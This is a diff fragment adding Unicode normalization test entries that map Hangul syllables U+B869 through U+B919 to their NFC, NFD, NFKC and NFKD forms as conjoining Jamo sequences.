+{ source: [0xB869], NFC: [0xB869], NFD: [0x1105, 0x1169, 0x11B4], NFKC: [0xB869], NFKD: [0x1105, 0x1169, 0x11B4] },
+{ source: [0xB86A], NFC: [0xB86A], NFD: [0x1105, 0x1169, 0x11B5], NFKC: [0xB86A], NFKD: [0x1105, 0x1169, 0x11B5] },
+{ source: [0xB86B], NFC: [0xB86B], NFD: [0x1105, 0x1169, 0x11B6], NFKC: [0xB86B], NFKD: [0x1105, 0x1169, 0x11B6] },
+{ source: [0xB86C], NFC: [0xB86C], NFD: [0x1105, 0x1169, 0x11B7], NFKC: [0xB86C], NFKD: [0x1105, 0x1169, 0x11B7] },
+{ source: [0xB86D], NFC: [0xB86D], NFD: [0x1105, 0x1169, 0x11B8], NFKC: [0xB86D], NFKD: [0x1105, 0x1169, 0x11B8] },
+{ source: [0xB86E], NFC: [0xB86E], NFD: [0x1105, 0x1169, 0x11B9], NFKC: [0xB86E], NFKD: [0x1105, 0x1169, 0x11B9] },
+{ source: [0xB86F], NFC: [0xB86F], NFD: [0x1105, 0x1169, 0x11BA], NFKC: [0xB86F], NFKD: [0x1105, 0x1169, 0x11BA] },
+{ source: [0xB870], NFC: [0xB870], NFD: [0x1105, 0x1169, 0x11BB], NFKC: [0xB870], NFKD: [0x1105, 0x1169, 0x11BB] },
+{ source: [0xB871], NFC: [0xB871], NFD: [0x1105, 0x1169, 0x11BC], NFKC: [0xB871], NFKD: [0x1105, 0x1169, 0x11BC] },
+{ source: [0xB872], NFC: [0xB872], NFD: [0x1105, 0x1169, 0x11BD], NFKC: [0xB872], NFKD: [0x1105, 0x1169, 0x11BD] },
+{ source: [0xB873], NFC: [0xB873], NFD: [0x1105, 0x1169, 0x11BE], NFKC: [0xB873], NFKD: [0x1105, 0x1169, 0x11BE] },
+{ source: [0xB874], NFC: [0xB874], NFD: [0x1105, 0x1169, 0x11BF], NFKC: [0xB874], NFKD: [0x1105, 0x1169, 0x11BF] },
+{ source: [0xB875], NFC: [0xB875], NFD: [0x1105, 0x1169, 0x11C0], NFKC: [0xB875], NFKD: [0x1105, 0x1169, 0x11C0] },
+{ source: [0xB876], NFC: [0xB876], NFD: [0x1105, 0x1169, 0x11C1], NFKC: [0xB876], NFKD: [0x1105, 0x1169, 0x11C1] },
+{ source: [0xB877], NFC: [0xB877], NFD: [0x1105, 0x1169, 0x11C2], NFKC: [0xB877], NFKD: [0x1105, 0x1169, 0x11C2] },
+{ source: [0xB878], NFC: [0xB878], NFD: [0x1105, 0x116A], NFKC: [0xB878], NFKD: [0x1105, 0x116A] },
+{ source: [0xB879], NFC: [0xB879], NFD: [0x1105, 0x116A, 0x11A8], NFKC: [0xB879], NFKD: [0x1105, 0x116A, 0x11A8] },
+{ source: [0xB87A], NFC: [0xB87A], NFD: [0x1105, 0x116A, 0x11A9], NFKC: [0xB87A], NFKD: [0x1105, 0x116A, 0x11A9] },
+{ source: [0xB87B], NFC: [0xB87B], NFD: [0x1105, 0x116A, 0x11AA], NFKC: [0xB87B], NFKD: [0x1105, 0x116A, 0x11AA] },
+{ source: [0xB87C], NFC: [0xB87C], NFD: [0x1105, 0x116A, 0x11AB], NFKC: [0xB87C], NFKD: [0x1105, 0x116A, 0x11AB] },
+{ source: [0xB87D], NFC: [0xB87D], NFD: [0x1105, 0x116A, 0x11AC], NFKC: [0xB87D], NFKD: [0x1105, 0x116A, 0x11AC] },
+{ source: [0xB87E], NFC: [0xB87E], NFD: [0x1105, 0x116A, 0x11AD], NFKC: [0xB87E], NFKD: [0x1105, 0x116A, 0x11AD] },
+{ source: [0xB87F], NFC: [0xB87F], NFD: [0x1105, 0x116A, 0x11AE], NFKC: [0xB87F], NFKD: [0x1105, 0x116A, 0x11AE] },
+{ source: [0xB880], NFC: [0xB880], NFD: [0x1105, 0x116A, 0x11AF], NFKC: [0xB880], NFKD: [0x1105, 0x116A, 0x11AF] },
+{ source: [0xB881], NFC: [0xB881], NFD: [0x1105, 0x116A, 0x11B0], NFKC: [0xB881], NFKD: [0x1105, 0x116A, 0x11B0] },
+{ source: [0xB882], NFC: [0xB882], NFD: [0x1105, 0x116A, 0x11B1], NFKC: [0xB882], NFKD: [0x1105, 0x116A, 0x11B1] },
+{ source: [0xB883], NFC: [0xB883], NFD: [0x1105, 0x116A, 0x11B2], NFKC: [0xB883], NFKD: [0x1105, 0x116A, 0x11B2] },
+{ source: [0xB884], NFC: [0xB884], NFD: [0x1105, 0x116A, 0x11B3], NFKC: [0xB884], NFKD: [0x1105, 0x116A, 0x11B3] },
+{ source: [0xB885], NFC: [0xB885], NFD: [0x1105, 0x116A, 0x11B4], NFKC: [0xB885], NFKD: [0x1105, 0x116A, 0x11B4] },
+{ source: [0xB886], NFC: [0xB886], NFD: [0x1105, 0x116A, 0x11B5], NFKC: [0xB886], NFKD: [0x1105, 0x116A, 0x11B5] },
+{ source: [0xB887], NFC: [0xB887], NFD: [0x1105, 0x116A, 0x11B6], NFKC: [0xB887], NFKD: [0x1105, 0x116A, 0x11B6] },
+{ source: [0xB888], NFC: [0xB888], NFD: [0x1105, 0x116A, 0x11B7], NFKC: [0xB888], NFKD: [0x1105, 0x116A, 0x11B7] },
+{ source: [0xB889], NFC: [0xB889], NFD: [0x1105, 0x116A, 0x11B8], NFKC: [0xB889], NFKD: [0x1105, 0x116A, 0x11B8] },
+{ source: [0xB88A], NFC: [0xB88A], NFD: [0x1105, 0x116A, 0x11B9], NFKC: [0xB88A], NFKD: [0x1105, 0x116A, 0x11B9] },
+{ source: [0xB88B], NFC: [0xB88B], NFD: [0x1105, 0x116A, 0x11BA], NFKC: [0xB88B], NFKD: [0x1105, 0x116A, 0x11BA] },
+{ source: [0xB88C], NFC: [0xB88C], NFD: [0x1105, 0x116A, 0x11BB], NFKC: [0xB88C], NFKD: [0x1105, 0x116A, 0x11BB] },
+{ source: [0xB88D], NFC: [0xB88D], NFD: [0x1105, 0x116A, 0x11BC], NFKC: [0xB88D], NFKD: [0x1105, 0x116A, 0x11BC] },
+{ source: [0xB88E], NFC: [0xB88E], NFD: [0x1105, 0x116A, 0x11BD], NFKC: [0xB88E], NFKD: [0x1105, 0x116A, 0x11BD] },
+{ source: [0xB88F], NFC: [0xB88F], NFD: [0x1105, 0x116A, 0x11BE], NFKC: [0xB88F], NFKD: [0x1105, 0x116A, 0x11BE] },
+{ source: [0xB890], NFC: [0xB890], NFD: [0x1105, 0x116A, 0x11BF], NFKC: [0xB890], NFKD: [0x1105, 0x116A, 0x11BF] },
+{ source: [0xB891], NFC: [0xB891], NFD: [0x1105, 0x116A, 0x11C0], NFKC: [0xB891], NFKD: [0x1105, 0x116A, 0x11C0] },
+{ source: [0xB892], NFC: [0xB892], NFD: [0x1105, 0x116A, 0x11C1], NFKC: [0xB892], NFKD: [0x1105, 0x116A, 0x11C1] },
+{ source: [0xB893], NFC: [0xB893], NFD: [0x1105, 0x116A, 0x11C2], NFKC: [0xB893], NFKD: [0x1105, 0x116A, 0x11C2] },
+{ source: [0xB894], NFC: [0xB894], NFD: [0x1105, 0x116B], NFKC: [0xB894], NFKD: [0x1105, 0x116B] },
+{ source: [0xB895], NFC: [0xB895], NFD: [0x1105, 0x116B, 0x11A8], NFKC: [0xB895], NFKD: [0x1105, 0x116B, 0x11A8] },
+{ source: [0xB896], NFC: [0xB896], NFD: [0x1105, 0x116B, 0x11A9], NFKC: [0xB896], NFKD: [0x1105, 0x116B, 0x11A9] },
+{ source: [0xB897], NFC: [0xB897], NFD: [0x1105, 0x116B, 0x11AA], NFKC: [0xB897], NFKD: [0x1105, 0x116B, 0x11AA] },
+{ source: [0xB898], NFC: [0xB898], NFD: [0x1105, 0x116B, 0x11AB], NFKC: [0xB898], NFKD: [0x1105, 0x116B, 0x11AB] },
+{ source: [0xB899], NFC: [0xB899], NFD: [0x1105, 0x116B, 0x11AC], NFKC: [0xB899], NFKD: [0x1105, 0x116B, 0x11AC] },
+{ source: [0xB89A], NFC: [0xB89A], NFD: [0x1105, 0x116B, 0x11AD], NFKC: [0xB89A], NFKD: [0x1105, 0x116B, 0x11AD] },
+{ source: [0xB89B], NFC: [0xB89B], NFD: [0x1105, 0x116B, 0x11AE], NFKC: [0xB89B], NFKD: [0x1105, 0x116B, 0x11AE] },
+{ source: [0xB89C], NFC: [0xB89C], NFD: [0x1105, 0x116B, 0x11AF], NFKC: [0xB89C], NFKD: [0x1105, 0x116B, 0x11AF] },
+{ source: [0xB89D], NFC: [0xB89D], NFD: [0x1105, 0x116B, 0x11B0], NFKC: [0xB89D], NFKD: [0x1105, 0x116B, 0x11B0] },
+{ source: [0xB89E], NFC: [0xB89E], NFD: [0x1105, 0x116B, 0x11B1], NFKC: [0xB89E], NFKD: [0x1105, 0x116B, 0x11B1] },
+{ source: [0xB89F], NFC: [0xB89F], NFD: [0x1105, 0x116B, 0x11B2], NFKC: [0xB89F], NFKD: [0x1105, 0x116B, 0x11B2] },
+{ source: [0xB8A0], NFC: [0xB8A0], NFD: [0x1105, 0x116B, 0x11B3], NFKC: [0xB8A0], NFKD: [0x1105, 0x116B, 0x11B3] },
+{ source: [0xB8A1], NFC: [0xB8A1], NFD: [0x1105, 0x116B, 0x11B4], NFKC: [0xB8A1], NFKD: [0x1105, 0x116B, 0x11B4] },
+{ source: [0xB8A2], NFC: [0xB8A2], NFD: [0x1105, 0x116B, 0x11B5], NFKC: [0xB8A2], NFKD: [0x1105, 0x116B, 0x11B5] },
+{ source: [0xB8A3], NFC: [0xB8A3], NFD: [0x1105, 0x116B, 0x11B6], NFKC: [0xB8A3], NFKD: [0x1105, 0x116B, 0x11B6] },
+{ source: [0xB8A4], NFC: [0xB8A4], NFD: [0x1105, 0x116B, 0x11B7], NFKC: [0xB8A4], NFKD: [0x1105, 0x116B, 0x11B7] },
+{ source: [0xB8A5], NFC: [0xB8A5], NFD: [0x1105, 0x116B, 0x11B8], NFKC: [0xB8A5], NFKD: [0x1105, 0x116B, 0x11B8] },
+{ source: [0xB8A6], NFC: [0xB8A6], NFD: [0x1105, 0x116B, 0x11B9], NFKC: [0xB8A6], NFKD: [0x1105, 0x116B, 0x11B9] },
+{ source: [0xB8A7], NFC: [0xB8A7], NFD: [0x1105, 0x116B, 0x11BA], NFKC: [0xB8A7], NFKD: [0x1105, 0x116B, 0x11BA] },
+{ source: [0xB8A8], NFC: [0xB8A8], NFD: [0x1105, 0x116B, 0x11BB], NFKC: [0xB8A8], NFKD: [0x1105, 0x116B, 0x11BB] },
+{ source: [0xB8A9], NFC: [0xB8A9], NFD: [0x1105, 0x116B, 0x11BC], NFKC: [0xB8A9], NFKD: [0x1105, 0x116B, 0x11BC] },
+{ source: [0xB8AA], NFC: [0xB8AA], NFD: [0x1105, 0x116B, 0x11BD], NFKC: [0xB8AA], NFKD: [0x1105, 0x116B, 0x11BD] },
+{ source: [0xB8AB], NFC: [0xB8AB], NFD: [0x1105, 0x116B, 0x11BE], NFKC: [0xB8AB], NFKD: [0x1105, 0x116B, 0x11BE] },
+{ source: [0xB8AC], NFC: [0xB8AC], NFD: [0x1105, 0x116B, 0x11BF], NFKC: [0xB8AC], NFKD: [0x1105, 0x116B, 0x11BF] },
+{ source: [0xB8AD], NFC: [0xB8AD], NFD: [0x1105, 0x116B, 0x11C0], NFKC: [0xB8AD], NFKD: [0x1105, 0x116B, 0x11C0] },
+{ source: [0xB8AE], NFC: [0xB8AE], NFD: [0x1105, 0x116B, 0x11C1], NFKC: [0xB8AE], NFKD: [0x1105, 0x116B, 0x11C1] },
+{ source: [0xB8AF], NFC: [0xB8AF], NFD: [0x1105, 0x116B, 0x11C2], NFKC: [0xB8AF], NFKD: [0x1105, 0x116B, 0x11C2] },
+{ source: [0xB8B0], NFC: [0xB8B0], NFD: [0x1105, 0x116C], NFKC: [0xB8B0], NFKD: [0x1105, 0x116C] },
+{ source: [0xB8B1], NFC: [0xB8B1], NFD: [0x1105, 0x116C, 0x11A8], NFKC: [0xB8B1], NFKD: [0x1105, 0x116C, 0x11A8] },
+{ source: [0xB8B2], NFC: [0xB8B2], NFD: [0x1105, 0x116C, 0x11A9], NFKC: [0xB8B2], NFKD: [0x1105, 0x116C, 0x11A9] },
+{ source: [0xB8B3], NFC: [0xB8B3], NFD: [0x1105, 0x116C, 0x11AA], NFKC: [0xB8B3], NFKD: [0x1105, 0x116C, 0x11AA] },
+{ source: [0xB8B4], NFC: [0xB8B4], NFD: [0x1105, 0x116C, 0x11AB], NFKC: [0xB8B4], NFKD: [0x1105, 0x116C, 0x11AB] },
+{ source: [0xB8B5], NFC: [0xB8B5], NFD: [0x1105, 0x116C, 0x11AC], NFKC: [0xB8B5], NFKD: [0x1105, 0x116C, 0x11AC] },
+{ source: [0xB8B6], NFC: [0xB8B6], NFD: [0x1105, 0x116C, 0x11AD], NFKC: [0xB8B6], NFKD: [0x1105, 0x116C, 0x11AD] },
+{ source: [0xB8B7], NFC: [0xB8B7], NFD: [0x1105, 0x116C, 0x11AE], NFKC: [0xB8B7], NFKD: [0x1105, 0x116C, 0x11AE] },
+{ source: [0xB8B8], NFC: [0xB8B8], NFD: [0x1105, 0x116C, 0x11AF], NFKC: [0xB8B8], NFKD: [0x1105, 0x116C, 0x11AF] },
+{ source: [0xB8B9], NFC: [0xB8B9], NFD: [0x1105, 0x116C, 0x11B0], NFKC: [0xB8B9], NFKD: [0x1105, 0x116C, 0x11B0] },
+{ source: [0xB8BA], NFC: [0xB8BA], NFD: [0x1105, 0x116C, 0x11B1], NFKC: [0xB8BA], NFKD: [0x1105, 0x116C, 0x11B1] },
+{ source: [0xB8BB], NFC: [0xB8BB], NFD: [0x1105, 0x116C, 0x11B2], NFKC: [0xB8BB], NFKD: [0x1105, 0x116C, 0x11B2] },
+{ source: [0xB8BC], NFC: [0xB8BC], NFD: [0x1105, 0x116C, 0x11B3], NFKC: [0xB8BC], NFKD: [0x1105, 0x116C, 0x11B3] },
+{ source: [0xB8BD], NFC: [0xB8BD], NFD: [0x1105, 0x116C, 0x11B4], NFKC: [0xB8BD], NFKD: [0x1105, 0x116C, 0x11B4] },
+{ source: [0xB8BE], NFC: [0xB8BE], NFD: [0x1105, 0x116C, 0x11B5], NFKC: [0xB8BE], NFKD: [0x1105, 0x116C, 0x11B5] },
+{ source: [0xB8BF], NFC: [0xB8BF], NFD: [0x1105, 0x116C, 0x11B6], NFKC: [0xB8BF], NFKD: [0x1105, 0x116C, 0x11B6] },
+{ source: [0xB8C0], NFC: [0xB8C0], NFD: [0x1105, 0x116C, 0x11B7], NFKC: [0xB8C0], NFKD: [0x1105, 0x116C, 0x11B7] },
+{ source: [0xB8C1], NFC: [0xB8C1], NFD: [0x1105, 0x116C, 0x11B8], NFKC: [0xB8C1], NFKD: [0x1105, 0x116C, 0x11B8] },
+{ source: [0xB8C2], NFC: [0xB8C2], NFD: [0x1105, 0x116C, 0x11B9], NFKC: [0xB8C2], NFKD: [0x1105, 0x116C, 0x11B9] },
+{ source: [0xB8C3], NFC: [0xB8C3], NFD: [0x1105, 0x116C, 0x11BA], NFKC: [0xB8C3], NFKD: [0x1105, 0x116C, 0x11BA] },
+{ source: [0xB8C4], NFC: [0xB8C4], NFD: [0x1105, 0x116C, 0x11BB], NFKC: [0xB8C4], NFKD: [0x1105, 0x116C, 0x11BB] },
+{ source: [0xB8C5], NFC: [0xB8C5], NFD: [0x1105, 0x116C, 0x11BC], NFKC: [0xB8C5], NFKD: [0x1105, 0x116C, 0x11BC] },
+{ source: [0xB8C6], NFC: [0xB8C6], NFD: [0x1105, 0x116C, 0x11BD], NFKC: [0xB8C6], NFKD: [0x1105, 0x116C, 0x11BD] },
+{ source: [0xB8C7], NFC: [0xB8C7], NFD: [0x1105, 0x116C, 0x11BE], NFKC: [0xB8C7], NFKD: [0x1105, 0x116C, 0x11BE] },
+{ source: [0xB8C8], NFC: [0xB8C8], NFD: [0x1105, 0x116C, 0x11BF], NFKC: [0xB8C8], NFKD: [0x1105, 0x116C, 0x11BF] },
+{ source: [0xB8C9], NFC: [0xB8C9], NFD: [0x1105, 0x116C, 0x11C0], NFKC: [0xB8C9], NFKD: [0x1105, 0x116C, 0x11C0] },
+{ source: [0xB8CA], NFC: [0xB8CA], NFD: [0x1105, 0x116C, 0x11C1], NFKC: [0xB8CA], NFKD: [0x1105, 0x116C, 0x11C1] },
+{ source: [0xB8CB], NFC: [0xB8CB], NFD: [0x1105, 0x116C, 0x11C2], NFKC: [0xB8CB], NFKD: [0x1105, 0x116C, 0x11C2] },
+{ source: [0xB8CC], NFC: [0xB8CC], NFD: [0x1105, 0x116D], NFKC: [0xB8CC], NFKD: [0x1105, 0x116D] },
+{ source: [0xB8CD], NFC: [0xB8CD], NFD: [0x1105, 0x116D, 0x11A8], NFKC: [0xB8CD], NFKD: [0x1105, 0x116D, 0x11A8] },
+{ source: [0xB8CE], NFC: [0xB8CE], NFD: [0x1105, 0x116D, 0x11A9], NFKC: [0xB8CE], NFKD: [0x1105, 0x116D, 0x11A9] },
+{ source: [0xB8CF], NFC: [0xB8CF], NFD: [0x1105, 0x116D, 0x11AA], NFKC: [0xB8CF], NFKD: [0x1105, 0x116D, 0x11AA] },
+{ source: [0xB8D0], NFC: [0xB8D0], NFD: [0x1105, 0x116D, 0x11AB], NFKC: [0xB8D0], NFKD: [0x1105, 0x116D, 0x11AB] },
+{ source: [0xB8D1], NFC: [0xB8D1], NFD: [0x1105, 0x116D, 0x11AC], NFKC: [0xB8D1], NFKD: [0x1105, 0x116D, 0x11AC] },
+{ source: [0xB8D2], NFC: [0xB8D2], NFD: [0x1105, 0x116D, 0x11AD], NFKC: [0xB8D2], NFKD: [0x1105, 0x116D, 0x11AD] },
+{ source: [0xB8D3], NFC: [0xB8D3], NFD: [0x1105, 0x116D, 0x11AE], NFKC: [0xB8D3], NFKD: [0x1105, 0x116D, 0x11AE] },
+{ source: [0xB8D4], NFC: [0xB8D4], NFD: [0x1105, 0x116D, 0x11AF], NFKC: [0xB8D4], NFKD: [0x1105, 0x116D, 0x11AF] },
+{ source: [0xB8D5], NFC: [0xB8D5], NFD: [0x1105, 0x116D, 0x11B0], NFKC: [0xB8D5], NFKD: [0x1105, 0x116D, 0x11B0] },
+{ source: [0xB8D6], NFC: [0xB8D6], NFD: [0x1105, 0x116D, 0x11B1], NFKC: [0xB8D6], NFKD: [0x1105, 0x116D, 0x11B1] },
+{ source: [0xB8D7], NFC: [0xB8D7], NFD: [0x1105, 0x116D, 0x11B2], NFKC: [0xB8D7], NFKD: [0x1105, 0x116D, 0x11B2] },
+{ source: [0xB8D8], NFC: [0xB8D8], NFD: [0x1105, 0x116D, 0x11B3], NFKC: [0xB8D8], NFKD: [0x1105, 0x116D, 0x11B3] },
+{ source: [0xB8D9], NFC: [0xB8D9], NFD: [0x1105, 0x116D, 0x11B4], NFKC: [0xB8D9], NFKD: [0x1105, 0x116D, 0x11B4] },
+{ source: [0xB8DA], NFC: [0xB8DA], NFD: [0x1105, 0x116D, 0x11B5], NFKC: [0xB8DA], NFKD: [0x1105, 0x116D, 0x11B5] },
+{ source: [0xB8DB], NFC: [0xB8DB], NFD: [0x1105, 0x116D, 0x11B6], NFKC: [0xB8DB], NFKD: [0x1105, 0x116D, 0x11B6] },
+{ source: [0xB8DC], NFC: [0xB8DC], NFD: [0x1105, 0x116D, 0x11B7], NFKC: [0xB8DC], NFKD: [0x1105, 0x116D, 0x11B7] },
+{ source: [0xB8DD], NFC: [0xB8DD], NFD: [0x1105, 0x116D, 0x11B8], NFKC: [0xB8DD], NFKD: [0x1105, 0x116D, 0x11B8] },
+{ source: [0xB8DE], NFC: [0xB8DE], NFD: [0x1105, 0x116D, 0x11B9], NFKC: [0xB8DE], NFKD: [0x1105, 0x116D, 0x11B9] },
+{ source: [0xB8DF], NFC: [0xB8DF], NFD: [0x1105, 0x116D, 0x11BA], NFKC: [0xB8DF], NFKD: [0x1105, 0x116D, 0x11BA] },
+{ source: [0xB8E0], NFC: [0xB8E0], NFD: [0x1105, 0x116D, 0x11BB], NFKC: [0xB8E0], NFKD: [0x1105, 0x116D, 0x11BB] },
+{ source: [0xB8E1], NFC: [0xB8E1], NFD: [0x1105, 0x116D, 0x11BC], NFKC: [0xB8E1], NFKD: [0x1105, 0x116D, 0x11BC] },
+{ source: [0xB8E2], NFC: [0xB8E2], NFD: [0x1105, 0x116D, 0x11BD], NFKC: [0xB8E2], NFKD: [0x1105, 0x116D, 0x11BD] },
+{ source: [0xB8E3], NFC: [0xB8E3], NFD: [0x1105, 0x116D, 0x11BE], NFKC: [0xB8E3], NFKD: [0x1105, 0x116D, 0x11BE] },
+{ source: [0xB8E4], NFC: [0xB8E4], NFD: [0x1105, 0x116D, 0x11BF], NFKC: [0xB8E4], NFKD: [0x1105, 0x116D, 0x11BF] },
+{ source: [0xB8E5], NFC: [0xB8E5], NFD: [0x1105, 0x116D, 0x11C0], NFKC: [0xB8E5], NFKD: [0x1105, 0x116D, 0x11C0] },
+{ source: [0xB8E6], NFC: [0xB8E6], NFD: [0x1105, 0x116D, 0x11C1], NFKC: [0xB8E6], NFKD: [0x1105, 0x116D, 0x11C1] },
+{ source: [0xB8E7], NFC: [0xB8E7], NFD: [0x1105, 0x116D, 0x11C2], NFKC: [0xB8E7], NFKD: [0x1105, 0x116D, 0x11C2] },
+{ source: [0xB8E8], NFC: [0xB8E8], NFD: [0x1105, 0x116E], NFKC: [0xB8E8], NFKD: [0x1105, 0x116E] },
+{ source: [0xB8E9], NFC: [0xB8E9], NFD: [0x1105, 0x116E, 0x11A8], NFKC: [0xB8E9], NFKD: [0x1105, 0x116E, 0x11A8] },
+{ source: [0xB8EA], NFC: [0xB8EA], NFD: [0x1105, 0x116E, 0x11A9], NFKC: [0xB8EA], NFKD: [0x1105, 0x116E, 0x11A9] },
+{ source: [0xB8EB], NFC: [0xB8EB], NFD: [0x1105, 0x116E, 0x11AA], NFKC: [0xB8EB], NFKD: [0x1105, 0x116E, 0x11AA] },
+{ source: [0xB8EC], NFC: [0xB8EC], NFD: [0x1105, 0x116E, 0x11AB], NFKC: [0xB8EC], NFKD: [0x1105, 0x116E, 0x11AB] },
+{ source: [0xB8ED], NFC: [0xB8ED], NFD: [0x1105, 0x116E, 0x11AC], NFKC: [0xB8ED], NFKD: [0x1105, 0x116E, 0x11AC] },
+{ source: [0xB8EE], NFC: [0xB8EE], NFD: [0x1105, 0x116E, 0x11AD], NFKC: [0xB8EE], NFKD: [0x1105, 0x116E, 0x11AD] },
+{ source: [0xB8EF], NFC: [0xB8EF], NFD: [0x1105, 0x116E, 0x11AE], NFKC: [0xB8EF], NFKD: [0x1105, 0x116E, 0x11AE] },
+{ source: [0xB8F0], NFC: [0xB8F0], NFD: [0x1105, 0x116E, 0x11AF], NFKC: [0xB8F0], NFKD: [0x1105, 0x116E, 0x11AF] },
+{ source: [0xB8F1], NFC: [0xB8F1], NFD: [0x1105, 0x116E, 0x11B0], NFKC: [0xB8F1], NFKD: [0x1105, 0x116E, 0x11B0] },
+{ source: [0xB8F2], NFC: [0xB8F2], NFD: [0x1105, 0x116E, 0x11B1], NFKC: [0xB8F2], NFKD: [0x1105, 0x116E, 0x11B1] },
+{ source: [0xB8F3], NFC: [0xB8F3], NFD: [0x1105, 0x116E, 0x11B2], NFKC: [0xB8F3], NFKD: [0x1105, 0x116E, 0x11B2] },
+{ source: [0xB8F4], NFC: [0xB8F4], NFD: [0x1105, 0x116E, 0x11B3], NFKC: [0xB8F4], NFKD: [0x1105, 0x116E, 0x11B3] },
+{ source: [0xB8F5], NFC: [0xB8F5], NFD: [0x1105, 0x116E, 0x11B4], NFKC: [0xB8F5], NFKD: [0x1105, 0x116E, 0x11B4] },
+{ source: [0xB8F6], NFC: [0xB8F6], NFD: [0x1105, 0x116E, 0x11B5], NFKC: [0xB8F6], NFKD: [0x1105, 0x116E, 0x11B5] },
+{ source: [0xB8F7], NFC: [0xB8F7], NFD: [0x1105, 0x116E, 0x11B6], NFKC: [0xB8F7], NFKD: [0x1105, 0x116E, 0x11B6] },
+{ source: [0xB8F8], NFC: [0xB8F8], NFD: [0x1105, 0x116E, 0x11B7], NFKC: [0xB8F8], NFKD: [0x1105, 0x116E, 0x11B7] },
+{ source: [0xB8F9], NFC: [0xB8F9], NFD: [0x1105, 0x116E, 0x11B8], NFKC: [0xB8F9], NFKD: [0x1105, 0x116E, 0x11B8] },
+{ source: [0xB8FA], NFC: [0xB8FA], NFD: [0x1105, 0x116E, 0x11B9], NFKC: [0xB8FA], NFKD: [0x1105, 0x116E, 0x11B9] },
+{ source: [0xB8FB], NFC: [0xB8FB], NFD: [0x1105, 0x116E, 0x11BA], NFKC: [0xB8FB], NFKD: [0x1105, 0x116E, 0x11BA] },
+{ source: [0xB8FC], NFC: [0xB8FC], NFD: [0x1105, 0x116E, 0x11BB], NFKC: [0xB8FC], NFKD: [0x1105, 0x116E, 0x11BB] },
+{ source: [0xB8FD], NFC: [0xB8FD], NFD: [0x1105, 0x116E, 0x11BC], NFKC: [0xB8FD], NFKD: [0x1105, 0x116E, 0x11BC] },
+{ source: [0xB8FE], NFC: [0xB8FE], NFD: [0x1105, 0x116E, 0x11BD], NFKC: [0xB8FE], NFKD: [0x1105, 0x116E, 0x11BD] },
+{ source: [0xB8FF], NFC: [0xB8FF], NFD: [0x1105, 0x116E, 0x11BE], NFKC: [0xB8FF], NFKD: [0x1105, 0x116E, 0x11BE] },
+{ source: [0xB900], NFC: [0xB900], NFD: [0x1105, 0x116E, 0x11BF], NFKC: [0xB900], NFKD: [0x1105, 0x116E, 0x11BF] },
+{ source: [0xB901], NFC: [0xB901], NFD: [0x1105, 0x116E, 0x11C0], NFKC: [0xB901], NFKD: [0x1105, 0x116E, 0x11C0] },
+{ source: [0xB902], NFC: [0xB902], NFD: [0x1105, 0x116E, 0x11C1], NFKC: [0xB902], NFKD: [0x1105, 0x116E, 0x11C1] },
+{ source: [0xB903], NFC: [0xB903], NFD: [0x1105, 0x116E, 0x11C2], NFKC: [0xB903], NFKD: [0x1105, 0x116E, 0x11C2] },
+{ source: [0xB904], NFC: [0xB904], NFD: [0x1105, 0x116F], NFKC: [0xB904], NFKD: [0x1105, 0x116F] },
+{ source: [0xB905], NFC: [0xB905], NFD: [0x1105, 0x116F, 0x11A8], NFKC: [0xB905], NFKD: [0x1105, 0x116F, 0x11A8] },
+{ source: [0xB906], NFC: [0xB906], NFD: [0x1105, 0x116F, 0x11A9], NFKC: [0xB906], NFKD: [0x1105, 0x116F, 0x11A9] },
+{ source: [0xB907], NFC: [0xB907], NFD: [0x1105, 0x116F, 0x11AA], NFKC: [0xB907], NFKD: [0x1105, 0x116F, 0x11AA] },
+{ source: [0xB908], NFC: [0xB908], NFD: [0x1105, 0x116F, 0x11AB], NFKC: [0xB908], NFKD: [0x1105, 0x116F, 0x11AB] },
+{ source: [0xB909], NFC: [0xB909], NFD: [0x1105, 0x116F, 0x11AC], NFKC: [0xB909], NFKD: [0x1105, 0x116F, 0x11AC] },
+{ source: [0xB90A], NFC: [0xB90A], NFD: [0x1105, 0x116F, 0x11AD], NFKC: [0xB90A], NFKD: [0x1105, 0x116F, 0x11AD] },
+{ source: [0xB90B], NFC: [0xB90B], NFD: [0x1105, 0x116F, 0x11AE], NFKC: [0xB90B], NFKD: [0x1105, 0x116F, 0x11AE] },
+{ source: [0xB90C], NFC: [0xB90C], NFD: [0x1105, 0x116F, 0x11AF], NFKC: [0xB90C], NFKD: [0x1105, 0x116F, 0x11AF] },
+{ source: [0xB90D], NFC: [0xB90D], NFD: [0x1105, 0x116F, 0x11B0], NFKC: [0xB90D], NFKD: [0x1105, 0x116F, 0x11B0] },
+{ source: [0xB90E], NFC: [0xB90E], NFD: [0x1105, 0x116F, 0x11B1], NFKC: [0xB90E], NFKD: [0x1105, 0x116F, 0x11B1] },
+{ source: [0xB90F], NFC: [0xB90F], NFD: [0x1105, 0x116F, 0x11B2], NFKC: [0xB90F], NFKD: [0x1105, 0x116F, 0x11B2] },
+{ source: [0xB910], NFC: [0xB910], NFD: [0x1105, 0x116F, 0x11B3], NFKC: [0xB910], NFKD: [0x1105, 0x116F, 0x11B3] },
+{ source: [0xB911], NFC: [0xB911], NFD: [0x1105, 0x116F, 0x11B4], NFKC: [0xB911], NFKD: [0x1105, 0x116F, 0x11B4] },
+{ source: [0xB912], NFC: [0xB912], NFD: [0x1105, 0x116F, 0x11B5], NFKC: [0xB912], NFKD: [0x1105, 0x116F, 0x11B5] },
+{ source: [0xB913], NFC: [0xB913], NFD: [0x1105, 0x116F, 0x11B6], NFKC: [0xB913], NFKD: [0x1105, 0x116F, 0x11B6] },
+{ source: [0xB914], NFC: [0xB914], NFD: [0x1105, 0x116F, 0x11B7], NFKC: [0xB914], NFKD: [0x1105, 0x116F, 0x11B7] },
+{ source: [0xB915], NFC: [0xB915], NFD: [0x1105, 0x116F, 0x11B8], NFKC: [0xB915], NFKD: [0x1105, 0x116F, 0x11B8] },
+{ source: [0xB916], NFC: [0xB916], NFD: [0x1105, 0x116F, 0x11B9], NFKC: [0xB916], NFKD: [0x1105, 0x116F, 0x11B9] },
+{ source: [0xB917], NFC: [0xB917], NFD: [0x1105, 0x116F, 0x11BA], NFKC: [0xB917], NFKD: [0x1105, 0x116F, 0x11BA] },
+{ source: [0xB918], NFC: [0xB918], NFD: [0x1105, 0x116F, 0x11BB], NFKC: [0xB918], NFKD: [0x1105, 0x116F, 0x11BB] },
+{ source: [0xB919], NFC: [0xB919], NFD: [0x1105, 0x116F, 0x11BC], NFKC: [0xB919], NFKD: [0x1105, 0x116F, 0x11BC] },
